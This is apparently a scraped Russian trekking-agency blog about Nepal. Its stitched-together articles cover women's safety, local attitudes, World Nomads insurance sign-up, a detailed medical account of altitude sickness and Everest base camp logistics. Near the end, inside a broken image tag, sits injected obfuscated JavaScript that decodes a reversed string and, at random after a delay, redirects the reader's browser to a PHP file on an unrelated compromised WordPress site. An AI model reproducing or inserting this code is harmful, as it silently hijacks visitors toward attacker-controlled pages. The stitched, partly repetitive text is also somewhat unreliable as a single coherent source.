Снова подчеркнем, что Непал очень безопасен. Но случалось, что треккеры, особенно одинокие женщины, пропадали без вести. Были ли они атакованы, похищены или упали со скалы, мы никогда не узнаем.

Мы советуем людям НИКОГДА НЕ ХОДИТЬ НА ТРЕККИНГ В ОДИНОЧКУ! Это Гималаи. Это не парк. Спасательные службы здесь не похожи на службы спасения в развитых странах. Простая травма может оказаться смертельной, если она случится за пределами тропы.

В 2018 году два японских треккера сошли с обычного пути и упали в водопад. Они провели там более 30 дней, прежде чем их нашли, совершенно случайно. К тому времени их семьи их обыскались, отчаялись и вернулись домой.

К тому времени один из треккеров умер. К счастью, другой выжил. Это не редкий пример, но о таких случаях часто не сообщают в международной прессе. Так что никогда не ходите в одиночку.

Потенциальная опасность треккинга – женская специфика

Помимо падений или травм, опасность для одиноких женщин-треккеров представляет повышенное внимание. Если это хорошо посещаемый район — такой как Пун Хилл — и в основной сезон, на трассах будут сотни людей. Но даже с таким количеством друзей-треккеров и треккинговых команд легко забыть кого-то, если тот не появятся в следующем поселении. Не забудьте регистрироваться на КАЖДОМ контрольном посту с помощью карты TIMS.

Шанс подвергнуться преследованиям со стороны местных жителей ниже на хорошо хоженых маршрутах. Мужчины привыкли видеть иностранок и, скорее всего, зарабатывают себе на жизнь туристами. В более отдаленных районах одинокая женщина-треккер может быть уникальным явлением.

Сельские жители, возможно, раньше не общались с иностранцами, и единственное знание, которое они имеют о иностранных женщинах, основано на телевидении или интернете (в основном речь идет о видео сексуального характера). Вы можете представить, из чего могут состоять их знания. Не ставьте себя в такое положение. Возьмите гида.

Гиды

Это подводит нас к следующей потенциальной опасности для женщин в походе — ваш гид!

В то время как большинство гидов, особенно тех, которые предоставлены вам авторитетной компанией (нами, например 😉), невинны, чисты и профессиональны, существует множество (правдивых) историй о том, как гиды и треккеры завязывали романтические отношения.

Если вы хотите пойти по этому пути, это ваш выбор. Если вы не хотите участвовать, то убедитесь, что ваш гид полностью понимает это. Большинство непальских мужчин понимают, что нет значит нет!

Страхование

У каждого путешественника должна быть страховка. Если вы планируете поход в Непале, убедитесь, что ваша страховка его покрывает. Если вы планируете путешествовать на большой высоте или совершить восхождение на пик, убедитесь, что ваша страховка распространяется на такую высоту.

И не забудьте проверить, что она включает в себя экстренную эвакуацию вертолетом. Всегда оставляйте копию страховки в треккинг-агентстве, услугами которого вы пользуетесь.

Мы рекомендуем страховую компанию World Nomad. Подробнее о страховке можно почитать здесь.

Лучший совет по безопасности

Приобретите местную SIM-карту. Ncell дешев, прост в использовании и доступен везде. Симкарта этой компании работает в большинстве треккинговых зон, если вы не собираетесь уходить очень далеко. Если вы собираетесь посетить отдаленные места, то лучше, чтобы с вами был гид, который имеет доступ или знает, в каких населенных пунктах есть спутниковые телефоны или аналогичные устройства.

Как непальцы воспринимают иностранок

Восприятие горожан

Большинство туристов посещают только два города в Непале: Катманду и Покхара. Конечно, есть и другие области, такие как Читван и Нагаркот, которые выживают благодаря туризму. Поэтому, давайте возьмем Катманду, Покхару и основные туристические центры в качестве «городов».

Люди, живущие в городах, имеют хороший доступ к международным телевизионным программам, международным фильмам и Интернету.

Молодые люди (в возрасте до 30/35 лет) выросли с этим и гораздо лучше осведомлены о западной культуре и ценностях, чем их родители. Вы сможете видеть молодых девушек в барах и клубах в довольно откровенных платьях. Но будьте уверены, большинство родителей не знают об этом! У нас все еще очень традиционный взгляд на вещи.

По сути, непальцы никогда не будут критиковать то, как вы одеваетесь или выглядите. Те, кому за 35 или кто мало знаком с иностранцами, вероятно, сделают много комментариев за вашей спиной.

В Тамеле Катманду и Лейксайд, Покхаре, вы можете в значительной степени одеваться и вести себя так же, как дома. Люди там видели всё!

Но это не значит, что вы должны носить короткие шорты и быть пьяными в баре! Это также не означает, что вы должны пытаться откровенно подцепить парня или быть подцепленной! Еще раз, здравый смысл должен преобладать. Это не Таиланд с его пляжной и барной культурой, или Европа, где все население на одной волне. Это все еще очень консервативная страна. Поэтому, пожалуйста, не забывайте про здравый смысл, пускаясь во все тяжкие.

А как насчет других районов города?

Если вы бродите по городу за пределами основных туристических гостиничных зон или туристических достопримечательностей, вы сразу заметите, что на вас смотрит все больше людей.

Они не осуждают. Вероятно, они не видели много иностранцев в своей повседневной жизни. Но да, пожалуйста, одевайтесь более консервативно за пределами Thamel и Lakeside.

Конечно, само собой разумеется, необходимо одеваться консервативно в храмах и других религиозных местах, это проявление базового уважения к местным жителям, у которых вы в гостях.

Как непальцы воспринимают непальских женщин

Традиционно женщин уважают как матерей (или потенциальных матерей). То, как непальские женщины воспринимаются, во многом зависит от культуры касты или этнической группы. Некоторые касты очень консервативны, в них женщин держат дома, ограничивают в свободе, в то время как в других группах (в основном горские народы) женщинам предоставляется больше свободы. Некоторые группы, такие как Тарус, следуют матриархальной системе.

Как одинокая женщина из другой страны, вы будете пользоваться тем же уважением, что и местные женщины в семейной обстановке. Ваша «свобода» гулять в одиночестве не будет подвергнута сомнению, поскольку это «то, что делают иностранцы»! Хотя, ситуация может изменитьзя кардинально, если вы выйдете замуж за местного мужчину и войдете в непальскую семью.

Восприятие жителей деревни

Люди, живущие на основных туристических тропах и пешеходных маршрутах, вероятно, так или иначе вовлечены в туризм.

Подобно городским жителям в туристических зонах, они привыкли видеть иностранцев и женщин, путешествующих в одиночку. Небольшие проблемы могут возникнуть только в том случае, если вы путешествуете на междугородних местных автобусах или в районах, где мало туристов.

Не удивляйтесь, если на вас смотрят. Это не агрессивный взгляд. Это просто детское удивление: кто ты, почему ты тут, что ты делаешь, откуда ты и т.д. Если кто-то здесь говорит по-английски, они зададут вам все эти вопросы напрямую.

Резюмируя:

Здравый смысл и уважение к культуре и традициям людей, у которых вы в гостях, обеспечат вам безопасное доброе путешествие и только светлые воспоминания.

Почитайте и другие статьи в нашем блоге, чтобы узнать еще больше информации, без которой в Непале не обойтись!

Если же есть вопросы, свяжитесь с нами через контактную форму сайта vnepal.com/contact/ или внизу этого текста и мы вам ответим в самый кратчайший срок!

Лучшие треки с лучшими гидами я вам гарантирую!!!

Благодаря предыдущим видео вы определились, когда вам лучше всего ехать в Непал?

И выбрали какой Непальский гигант покорить!  Отлично!

Пора понять, чего же ожидать от этой удивительной страны!

В этом видео я расскажу основную информацию, критические мелочи, не зная которых можно наделать глупых и дорогостоящих ошибок отправляясь в Непал! Смотрите внимательно!

Почитайте и другие статьи в нашем блоге, чтобы узнать еще больше информации, без которой в Непале не обойтись!

Если же вопросы еще остались, свяжитесь с нами через контактную форму сайта vnepal.com/contact/ или внизу этого текста и мы вам ответим в самый кратчайший срок!

Лучшие треки с лучшими гидами я вам гарантирую!!!

На любой вопрос о страховке я вам отвечу World Nomads! А если вопрос о том, какая страховка больше всего подходит для путешествия в Непал и совершения восхождения к Базовому лагерю Эвереста, Аннапурны, Мустанга и др., то тем более World Nomads.

Да, цена немного выше средней. Но и размер покрытия у ребят легендарный!

Оцените эти цифры:

$5 миллионов (!!!) покрытие медицинских расходов в стандартном плане. В продвинутом – неограниченно. И это только начало списка.

Для того, чтобы купить страховку,

нужно зайти на сайт https://www.worldnomads.com/ . Всё оформляется онлайн, никуда бежать/ехать/звонить не нужно.

Единственный момент – сайт на английском. Но заполнить граф придется не много, запутаться сложно. Вот так выглядит заполненная форма:

Первая графа « Which countries or regions are you traveling to? » — страна или регион куда вы едете.

Пишем – Nepal

Вторая графа « What’s your country of residence? » — это страна вашего проживания. Указываете ту, где в данный момент живете. Если вас будут из Непала по страховке вывозить, то это будет указанная в данной графе страна.

Если вы из России, пишем — Russia

Третья графа « What is your Federal Subject? » — какая область (если в предыдущей графе указали Россию)

Затем указываем даты начала и окончания путешествия и свой возраст.

Если путешественников несколько, указываем возраст каждого, разделяя цифры запятыми.

Вот и всё!

Жмем кнопку Get a price.

В следующем окне вы увидите вашу цену.

Здесь вы выбираете между двумя тарифами:

Можно выбирать любой, эвакуация вертолетом и походы на высоте до 6000 метров входят в оба тарифа.

В следующем окне вы можете добавить к своей страховке страхование дорогостоящего оборудования. Или не добавлять. Здесь можно застраховать предметы максимум на 1400 евро в сумме и до 700 евро на предмет. Стоимость страховки тоже увеличится. Нажимаем Add your details чтобы продолжить:

Далее указываем свои имя, адрес и оплачиваем.

После того, как заполнили и нажали «Buy now», появится сообщение, что полис готов. Номер полиса выдается сразу. Также полис приходит на электронную почту. Бывает, что с задержкой до 15 минут.

Его достаточно иметь в телефоне, печатать не нужно.

Важно!

При наступлении страхового случая возможны два варианта:

1) Вы идете в любую больницу, сами платите за осмотр и покупаете выписанные лекарства, потом создаете заявление о возмещении через сайт, прикрепляете фото чеков, пишете свои реквизиты, и они через несколько дней перечисляют деньги.

2) Если вам нужно вызвать вертолет, вы звоните в ассистанс (страховую) ДО (обязательно!!!) того, как воспользоваться медицинской помощью, и они сами договариваются о возмещении. Все случаи, связанные с транспортом, тоже должны быть утверждены с ассистансом до покупки билетов.

Еще ВАЖНО

У World Nomads есть франшиза. Это сумма, которая страховкой покрываться не будет в любом случае.

Вот здесь описано в деталях tomer/en/portal/articles/2411286-what-is-the-travel-insurance-policy-excess-deductible-?b_id=12919″>https://helpdesk.worldnomads.com/customer/en/portal/articles/2411286-what-is-the-travel-insurance-policy-excess-deductible-?b_id=12919

А я вам кратенько расскажу, как это происходит на деле.

Допустим, вы потянули ногу, обратились в больницу, вам выставили счет за осмотр, лечение, медикаменты на $250 или $500 или $891, не важно, вам страховая компания покроет эту сумму за вычетом франшизы $100 или €70.

То есть, в каждом страховом случае первые $100 всегда на вас, остальное страховка покроет.

Если же вы находитесь в ситуации, когда по медицинским показаниям вам необходима эвакуация вертолетом, то вы обязательно предварительно звоните в страховую. Они обеспечат вызов вертолета. Франшиза будет действовать и в этом случае, но уже на сумму $700 или €570. То есть, $700 за полет вам всё рано придется заплатить.

Что делать, если наступил страховой случай?

В вашем страховом полисе будут все контакты.

На всякий случай, продублирую здесь контакты службы экстренной помощи WorldNomads:

Телефон для звонков в рабочее время: +353 21 237 8007 или or +353 21 237 8006

Телефон для неотложной медицинской помощи: +353 21 237 8009 или +353 21 237 8003

При оформлении страхового случая будьте готовы ответить на следующие вопросы:

1) номер полиса,

2) ваш контактный телефон,

3) в чем проблема,

4) где именно вы находитесь,

5) принимаете ли вы какие-то лекарства.

Путешествуйте уверенно и будьте здоровы!

Высотная болезнь (высотная гипоксия) — болезненное состояние, связанное с кислородным голоданием вследствие понижения парциального давления кислорода во вдыхаемом воздухе, которое возникает высоко в горах,  начиная примерно с 2000 метров и выше.

Разновидностью высотной болезни является горная болезнь, в возникновении которой наряду с недостатком кислорода играют роль и такие добавочные факторы, как физическое утомление, охлаждение, обезвоживание организма, ультрафиолетовое излучение, тяжелые погодные условия (ураганные ветры и т.п.), резкие перепады температур в течение дня (от +30 °С днем до —20 °С ночью) и т.д. Но основным патологическим фактором горной болезни является гипоксия. В своем профессиональном сленге горную болезнь русские альпинисты называют «горняшкой», «акклимашкой».

Что же это такое и с чем его едят? По простому горная болезнь это реакция организма на высоту, а точнее на резкую смену давления. Заметьте на резкую, т.е. если вы аккуратно и грамотно будете набирать высоту, то все будет нормально.

Что же значит грамотный набор высоты или акклиматизация? Это то что в день не желательно набирать больше 500м по высоте, а каждые 1000м высоты делать день отдыха, естественно не пассивного, а активного. Желательно набрать еще высоты, но вернуться ночевать на прежнюю высоту.

На развитие горной болезни влияют следующие индивидуальные факторы:

• индивидуальная устойчивость людей к недостатку кислорода (например, у жителей гор);
• пол (женщины лучше переносят гипоксию);
• возраст (молодые люди плохо переносят гипоксию);
• физическое, психическое и моральное состояние;
• уровень тренированности;
• быстрота набора высоты;
• степень и продолжительность кислородного голодания;
• интенсивность мышечных усилий;
• прошлый «высотный» опыт.

Следующие факторы провоцируют развитие горной болезни и снижают переносимость больших высот:

• наличие алкоголя или кофеина в крови;
• бессонница, переутомление;
• психоэмоциональное напряжение;
• переохлаждение;
• некачественное и нерациональное питание;
• нарушение водно-солевого режима, обезвоживание;
• избыточная масса тела;
• респираторные и другие хронические заболевания (например, ангина, бронхит, пневмония, хронические гнойные стоматологические заболевания);
• кровопотери.

Следующие климатические факторы способствуют развитию и более быстрому прогресcированию горной болезни:

• низкие температуры — с увеличением высоты среднегодовая температура воздуха постепенно снижается на 0,5 °C на каждые 100 м (зимой — на 0,4 °C, летом — на 0,6 °C). Зимой на равных высотах заболеваемость более частая, чем летом. Резкий перепад температур тоже оказывает неблагоприятное влияние;
• влажность — на больших высотах из-за низких температур парциальное давление водяного пара низкое. На высоте 2000 м влажность воздуха в два раза меньше, чем на уровне моря, а на больших горных высотах воздух становится практически сухим. С одной стороны, это приводит к усилению потери жидкости организмом через кожу и легкие и, следовательно, к обезвоживанию, организма. С другой стороны, более влажный воздух обладает более высокой теплопроводностью, следовательно, способствует вредному влиянию низких температур. Так, проявления горной болезни в горах влажного климата наступают на более низкой высоте (Альпы — 2500 м, Кавказ — 3000 м), чем в горах сухого климата (Тянь-Шань — 3500 м, Гималаи — 4500 м);
• ветер — высоко в горах ветер может достигать ураганной силы (свыше 200 км/ч), что переохлаждает организм, изматывает физически и морально, затрудняет дыхание.

Высота развития горной болезни

Сочетание вышеперечисленных факторов приводит к тому, что высота развития горной болезни для разных людей и разных условий бывает весьма вариабельной. Некоторые начинают страдать от кислородной недостаточности уже на высоте 2000 м, другие же не чувствуют ее эффекта даже на 4000 м.

Большинство здоровых неакклиматизированных жителей равнин начинают ощущать действие высоты в районе 2500—3000 м, а при напряженной физической работе — и на меньших высотах. На высоте около 4000 м даже у абсолютно здоровых людей появляется легкое недомогание, а острая горная болезнь регистрируется у 15—20 % участников подъема. На высоте 6500—7000 м полная акклиматизация, по всей видимости, вообще невозможна, в связи с чем у участников экспедиций на восьмитысячники мира отмечаются многочисленные функциональные расстройства и прогрессирующие признаки горной болезни. В высотном альпинизме существует термин «летальная зона», или «зона смерти». Ввел его руководитель швейцарской экспедиции 1952 г. на Эверест Э. Висс-Дюнан, высказавший мнение, что существуют границы, пребывание выше которых приводит альпинистов к гибели. На высотах более 8000 м человек может находиться за счет внутренних резервов не более 2—3 дней, постепенно теряя сопротивляемость к действию высоты. Правда, опыт последних гималайских экспедиций, во время которых многие участники после успешной ступенчатой акклиматизации не использовали кислородные аппараты, несколько расширяет наши представления о пределах переносимости кислородной недостаточности.

Периодическое дыхание

В результате гипервентиляции в крови снижается содержание углекислого газа, в результате чего развивается дыхательный алкалоз. Это связано с тем, что уменьшение РаСО2 крови ниже 35 мм сдвигает реакцию в щелочную сторону за счет уменьшения свободных ионов Н+: СО2 + Н2О НСО3- + Н+.

Вследствие «вымывания» CO2 нарушается регуляция дыхания, так как избыток углекислого газа в крови возбуждает дыхательный центр. Пока человек бодрствует, его сознание подает сигналы на вдох. Во сне, когда контроль сознания ослабевает, возникает явление, называемое периодическим дыханием, или дыханием Чейна — Стокса: на несколько секунд (до 10—15) дыхание останавливается, после чего возобновляется, вначале с удвоенной силой. Первое событие связано с реакцией мозга на недостаток СО2, второе — с реакцией на критически низкий уровень О2. Практически это выглядит так, что человек просыпается, потому что задыхается.

Доцент кафедры экстремальных и прикладных видов спорта РГУФК, заслуженный мастер спорта по альпинизму Юрий Байковский отмечает: «Это очень неприятное ощущение. Бывает, в этот момент человеку снится, что он попал в лавину, задыхается и умирает».

Однако, отдышавшись, человек приходит в себя и может дальше спокойно спать. Несмотря на «неприятные» ощущения, это нормальная реакция организма на высоту и этот симптом самостоятельно не является признаком горной болезни.

Механизмы возникновения отека

При дальнейшем подъеме гипоксия нарастает, так как компенсаторные функции организма уже не обеспечивают достаточной компенсации. Недостаток кислорода в окружающем воздухе ведет к уменьшению парциального давления кислорода в легких и к снижению насыщения артериальной крови кислородом, вследствие чего возникает отек легких и головного мозга.

Существует точка зрения, что в основе главных клинических проявлений острой горной болезни лежит нарастающий отек головного мозга.

У человека наиболее чувствительными и уязвимыми к гипоксии являются ткани головного мозга и ткань легочной альвеолы, так как последние получают кислород непосредственно из воздуха. Именно недостаточное снабжение этих тканей кислородом и является причиной развития в них отечных процессов. Основные источники отека легких и головного мозга:

1. повышение давления в сосудах и капиллярах за счет их спазма, задержки воды в организме и застаивания крови в венозной системе;
2. повышение проницаемости капиллярной стенки, что приводит к выходу жидких компонентов плазмы в межклеточное пространство;
3. повышение проницаемости клеточной мембраны — гипоксия нарушает избирательную проницаемость клеточных мембран, вследствие чего начинается выравнивание концентраций ионов вне и внутри клетки: то есть клетка теряет ионы К+ и перегружается ионами Na+, Ca2+;
4. снижение онкотического давления кровяной плазмы — выравнивание концентрации натрия (0,9 %) в организме приводит к обводнению клеток и сгущению крови.

К гипоксическому механизму присоединяются другие механизмы:

• недостаток калия в миокарде ведет к аритмии, к ослаблению насосной функции сердца, что проявляется в застаивании венозной крови в малом (при отеке легких) или в большом (при отеке мозга) круге кровообращения;
• повышение температуры тела (лихорадка) — в ответ на переохлаждение, отек, обострение хронических воспалительных процессов и другое температура тела повышается. Данный иммунный стереотип, «полезный» в нормальных условиях, в условиях недостатка кислорода еще более усугубляет гипоксию, так как с повышением температуры тела повышается потребность в кислороде. Установлено, что при 38°C потребность в кислороде удваивается, а при 39,5 °C — вырастает в 4 раза;
• вследствие повышения проницаемости стенок легочных капилляров и альвеол в альвеолы легких проникают посторонние вещества (белковые массы, элементы крови и микроорганизмы);
• действие холода — холодный воздух действует тремя путями:
  1. на сильном морозе и ветре холодный воздух приходится вдыхать маленькими, обжигающими легкие и горло порциями, что усиливает гипоксию;
  2. на морозе к гипоксическому отеку присоединяется также отек от переохлаждения. В переохлажденных тканях тоже нарушается проницаемость клеточных мембран (поэтому замерзшие ткани отекают);
  3. из-за холода обостряются хронические воспалительные заболевания, которые ускоряют и отягощают отек легких.

Поэтому при низких температурах отек легких или головного мозга возникает более быстро — на больших высотах и при большом морозе этот период может составлять всего 8—12 часов вместо обычных 24 часов.

Отек мозга — это избыточное накопление воды в тканях мозга, а источником воды является главным образом кровь, протекающая по микрососудам и мозговым капиллярам.

Отек легких — это накопление светлой плазмы крови в тканях легких, а затем и в просветах альвеол: при вдохе заполняющая просветы плазма вспенивается, резко снижая полезный объем легких.

Как правило, отек мозга и отек легких развиваются ночью (пик кризиса чаще всего наступает в 4 часа утра), что обусловлено:

• усилением венозного возврата в верхнюю половину туловища при переходе из вертикального в горизонтальное положение;
• снижением активности ЦНС, что, накладываясь на дыхательный ацидоз, приводит к ослаблению дыхательной функции (см. выше);
• повышением тонуса блуждающего нерва, обусловливающим бронхоспазм.

Из чего следует сделать вывод:

• горизонтальное положение заболевшего недопустимо в любое время суток;
• каждый час ночного времени должен использоваться не для сна (которого и так нет), а для спуска; состояние заболевшего к утру всегда заметно ухудшается.

Причина смерти при отеке мозга — сдавливание набухшей коры головного мозга сводом черепа, вклинивание мозжечка в ствол спинного мозга. Причина смерти при отеке легких — массивное пенообразование, вызывающее асфиксию дыхательных путей.

Причина скоротечности летального исхода в том, что они развиваются по принципу порочного круга, когда последующие этапы усугубляют исходную причину, а исходная причина усугубляет следствия (например, сдавление вен головного мозга приводит к более сильному отеку и наоборот).

ИЗМЕНЕНИЯ В ДРУГИХ ОРГАНАХ И СИСТЕМАХ

Система пищеварения

На высоте значительно изменяется аппетит, уменьшается всасывание воды и питательных веществ, выделение желудочного сока, что приводит к нарушению процессов пищеварения и усвоения пищи, особенно жиров. В результате человек резко теряет вес (до 15—22 кг за 6—7 недель на высоте 6000 м). На высоте человек может ощутить мнимое чувство полноты желудка, распирание в подложечной области, тошноту, наблюдаются поносы, не поддающиеся медикаментозному лечению.

Зрение

На высотах порядка 4500 м нормальная острота зрения возможна только при яркости, в 2,5 раза больше обычной для равнинных условий. На этих высотах происходят сужение периферического поля зрения и заметное «затуманивание» зрения в целом. На больших высотах снижается также точность фиксации взгляда и правильность определения расстояния. Даже в условиях среднегорья зрение ночью слабеет, а срок адаптации к темноте увеличивается.

Обезвоживание организма

Выделение воды из организма, как известно, осуществляется в основном почками (1,5 л воды в сутки), кожей (1 л), легкими (около 0,4 л) и кишечником (0,2— 0,3 л) — всего около 3 л воды в сутки. При усиленной мышечной деятельности, особенно в условиях жары, резко возрастает выделение воды через кожу (иногда до 4—5 л). Напряженная мышечная работа, совершаемая в условиях высокогорья, в связи с недостатком кислорода и сухостью воздуха резко усиливает легочную вентиляцию и тем самым увеличивает также количество воды, выделяемой через легкие. Все это приводит к тому, что общая потеря воды у участников сложных высокогорных путешествий может достигнуть 7—10 л в сутки.

Прочие изменения

Болевая чувствительность по мере нарастания гипоксии снижается вплоть до полной ее потери.

Психические изменения

Многие альпинисты рассказывают о влиянии высоты на психику человека.

Экспедиционный врач П.В. Андригин (см. книгу «Слово об Эльбрусе»), указав на осколки стекла на снегу, пояснил: «Это — смеситель для счета эритроцитов в крови. Испытуемый, на уровне долины вполне владеющий собой субъект, на высоте взял да и вполне спокойно перекусил его зубами».

Райнхольд Месснер (высота 8200 м, бескислородное одиночное восхождение на Эверест в 1980 году) отмечал: «Ощущение, возникшее несколько часов назад, что у меня есть невидимый спутник, усиливается. Я даже спрашиваю себя, как же мы разместимся в этой крошечной палатке. Кусок сухого мяса разделяю на две равные части. Оборачиваюсь. Убеждаюсь, что я один».

Участник первого советского восхождения на Эверест Михаил Туркевич об одном из напарников во время спуска с вершины рассказывал: «Эдик идти отказывается. Сел, свесив ноги в сторону Непала, говорит, что ему и здесь хорошо. Оказывается, у него кончился кислород».

КЛИНИКА

Острая форма горной болезни возникает при быстром перемещении (в течение нескольких часов) неакклиматизированных людей в высокогорье, обычно на высоту более 3500 м. Клинические симптомы ее развиваются стремительно. При подострой форме горной болезни они развиваются не так быстро и сохраняются дольше (до 10 дней). Клинические проявления обеих форм горной болезни в общем совпадают.

Острая горная болезнь

Легкая степень

Симптомы горной болезни легкой степени появляются в течение 6—12 часов (а иногда и раньше) после подъема на новую высоту. На большей высоте ее симптомы обнаруживаются раньше. У многих они проявляются вначале в ухудшении самочувствия, некоторой вялости. Первое время новичок ощущает в горах недомогание, учащенное сердцебиение, легкое головокружение, небольшую одышку при физических нагрузках, сонливость и вместе с тем плохо засыпает. Через 3—4 дня эти явления, если не подниматься выше, как правило, исчезают. Четких объективных клинико- неврологических симптомов этой формы горной болезни не существует.

Все вышеперечисленные симптомы не являются специфическими и могут быть следствием многих других заболеваний. Тем не менее считается правильным предполагать острую горную болезнь, если у неаккли- матизированного человека, поднявшегося на высоту более 2500 м, начинает болеть голова и появляется еще хотя бы один из вышеперечисленных симптомов. Если вышеописанные симптомы появляются после 36 часов хорошего состояния, то надо исключить наличие другого заболевания.

Средняя степень

На высотах 2500—3500 м у некоторых людей могут наблюдаться признаки эйфории: приподнятое настроение, излишняя жестикуляция и говорливость, ускоренный темп речи, беспричинное веселье и смех, беззаботное, легковесное отношение к окружающей среде. В дальнейшем эйфорическое состояние сменяется упадком настроения, апатией, меланхоличностью, притупляется интерес к окружающему.

На высотах 4000—5000 м ухудшается самочувствие. Развивается умеренная и даже сильная головная боль. Сон становится беспокойным, тревожным, с неприятными сновидениями, некоторые засыпают с трудом и часто просыпаются от чувства удушья (периодическое дыхание). При физических усилиях сразу учащаются дыхание и сердцебиение, появляется головокружение. Аппетит понижается, возникает тошнота, которая бывает интенсивной и может перейти в рвоту. Изменяется вкус: хочется преимущественно кислой, острой или соленой пищи (что отчасти объясняется обезвоживанием и нарушением водно-солевого баланса). Сухость в горле вызывает жажду. Возможны кровотечения из носа.

Тяжелая степень

На высотах 5000—7000 м и выше самочувствие редко бывает хорошим, чаще оно неудовлетворительное. Ощущаются общая слабость, усталость, тяжесть во всем теле. Не прекращается умеренная, а подчас и сильная боль в висках, лобной, затылочной части головы. При резких движениях и наклонах или после работы возникает головокружение. Человек засыпает с большим трудом, часто пробуждается, некоторые мучаются от бессонницы. Заболевший горной болезнью не способен длительно выполнять физическую нагрузку из-за одышки («дыхание загнанной собаки») и сердцебиения, работоспособность падает. Например, на высоте 8000 м остается 15—16 % работоспособности от таковой на высоте уровня моря [8].

Сухость в горле нарастает, все время хочется пить. Язык обложен. Многих беспокоит сухой кашель. Аппетит, как правило, понижен или отсутствует. Число случаев тошноты и рвоты при приеме пищи увеличивается. Часто отмечаются боли в области живота и желудочно- кишечные расстройства, вздутие живота. Ритм дыхания во время ночного сна нарушается (дыхание Чейна — Стокса). Кожные покровы лица, особенно губ, приобретают бледный, чаще синюшный оттенок в результате недостаточного насыщения кислородом артериальной крови, которая теряет свой алый цвет. Температура повышается на 1—2 °C, возникает озноб. Учащаются случаи кровотечений из носа, рта, легких (кровохарканье), иногда желудочные.

При определенных условиях, начиная с 4000 м, могут возникнуть опасные формы горной болезни, обусловленные срывом адаптационных механизмов и развитием более серьезных патологий: отека легких и отека головного мозга.

ПРОФИЛАКТИКА

Три золотых правила профилактики горной болезни:
• Никогда не подниматься с симптомами горной болезни.
• Если симптомы горной болезни усиливаются, то обязательно надо спускаться.
• Если альпинист на высоте чувствует себя плохо, то в отсутствие явных признаков других заболеваний надо считать, что у него острая горная болезнь и проводить соответствующее лечение.

Основа профилактики острой горной болезни — это проведение активной ступенчатой акклиматизации. Немаловажное значение имеют также и рациональный отбор людей, их физическая и психологическая подготовка, наличие предыдущего высотного опыта, фармакологическая профилактика.

Акклиматизация

Основные принципы акклиматизации:

• До высоты 3000 м каждый день увеличивать высоты ночевки на 300—600 м.
• При наборе высоты более 3000 м через каждые 1000 м делать дневку.
• Учитывать то, что скорость акклиматизации у разных людей значительно отличается.
• По возможности не перемещаться транспортом (самолетом или автомобилем) сразу на большую высоту.
• При доставке транспортом на большую высоту не подниматься еще выше в течение первых 24 часов.
• «Забирайся высоко, спи низко».
• Основная акклиматизация происходит в первые три дня путешествия.
• Если симптомы горной болезни не проходят, восхождение следует приостановить.
• При нарастании симптомов следует как можно быстрее начать спуск.

Мы планируем все наши треки таким образом, чтобы у вас было время на акклиматизацию и восстановление.

При проявлении любых симптомов горной болезни, пожалуйста, не храбритесь, а прямо говорите об этом гиду! Он скорректирует трек таким образом, чтобы избежать любых рисков для вашего здоровья!

Увидимся на треке!

tos_143786341_original-e1499094738210.jpg»>$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tos_143786341_original-e1499094738210.jpg» alt=»Непал» width=»1425″ height=»950″ />

Материалы статьи в журнале:

Медицина неотложных состояний №4 (29), 2010, Никонов В.В., Чернов А.Л., Феськов А.Э.
Харьковская медицинская академия последипломного образования ВОЛКОВА Ю.В.
Харьковский национальный медицинский университет

Перед тем, как попасть к Базовому Лагерю Эвереста, вначале нужно попасть в Катманду, столицу Непала. Это огромный мегаполис с населением в 1 млн. человек. Катманду – основной транспортный хаб для полетов к Эвересту.

Нужна. Визу можно оформить по прилету в аэропорт. Желательно по прилету иметь с собой 1 фото на паспорт. Виза на 15 дней обойдется в 15 долларов. На 30 дней – 40 долларов. Визу при желании можно продлить.

Самые дешевые билеты (в оба конца) в Катманду из Москвы стоят от 24,5 тысяч руб.

Local currency

В Непале ходит непальская рупия. Курс сейчас 101,5 рупия за доллар. Грубо говоря, все цены на склоне тебе просто нужно делить на 100, чтобы получать сумму в долларах. В банкоматах есть  комиссия 4-5% на максимальное снятие в 10 тыс. рупий. Поэтому, выгодней менять деньги в обменниках. На всем пути к Базовому Лагерю будет только один обменник – в Намче-Базаре. Курс там не самый приятный, поэтому деньги лучше всего поменять в Катманду. Доллары на склоне не принимают.

Mobile connection, Internet

В Катманду по прилету за 15 долларов можно купить симкарту с пакетом нормального 3G на один гигабайт. В горах мобильный интернет ловить будет не везде (Немного в Лукле, немного в Намче, Тингбоче и возле Горак Шепа). Лучше взять с собой travel-сим для роскошного звонка друзьям прямо со смотровой площадки на Базовый Лагерь.

Не волнуйся насчет связи на треке. По дороге в каждом месте, в котором ты будешь оставаться, можно будет докупить wi-fi. Медленный, слабенький, но зачастую работающий. Цена на него будет отличаться от 5 до 10 долларов в сутки. Без интернета ты не останешься.

Когда лучше всего подниматься к Базовому лагерю Эвереста

и другим вершинам

Самые горячие сезоны – с сентября по ноябрь и с марта по май. В это время погода более всего подходит для подъема. Температура колеблется от 25º на низких уровнях до -15º возле Базового Лагеря. Готовься к очередям на узких участках трека – подняться к Эвересту в эти месяцы съезжаются люди со всего мира.

С декабря по январь на склонах стоят жуткие холода, а с июня по август подняться невозможно из-за суровых ливней.

Мы поднимались в конце марта. Погода стояла непредсказуемая. Вплоть до 4 тыс. метров было достаточно тепло. Затем весеннее солнце поменялось на мороз буквально за пол часа. Ночи всю вторую половину пути были жутко холодные. В чайных, где тебе предстоит останавливаться на ночлег, нет отопления. Следовательно, -5º в комнате ночью – это стандартная ситуация.

Дни, даже если снежные, очень теплые. На многих участках пути мы легко обходились одной ветровкой.

При всем этом, туристы, которые поднимались за неделю до нас, пробирались сквозь жуткий мороз уже на 3 день пути. Будь готов встретить абсолютно неожиданную погоду.

Мы хотим дать вам самое четкое руководство о том, как получить разрешение на съемку в Непале. Но имейте в виду, что политическая ситуация, как и во всех странах, может измениться, и этот документ, возможно, будет нуждаться в изменении. Вся информация основана на нашем опыте во время получения разрешений на съемку и использование квадрокоптеров / дронов в Непале. Вас могут попросить подготовить дополнительные документы. Это случается частенько, будьте готовы.

Также имейте в виду, что, хотя мы и заявляем, что вы можете понести штраф за съемки без разрешения, но не исключено, что вы также можете подвергнуться конфискации своего оборудования, и даже, рискнуть тюремным заключением.

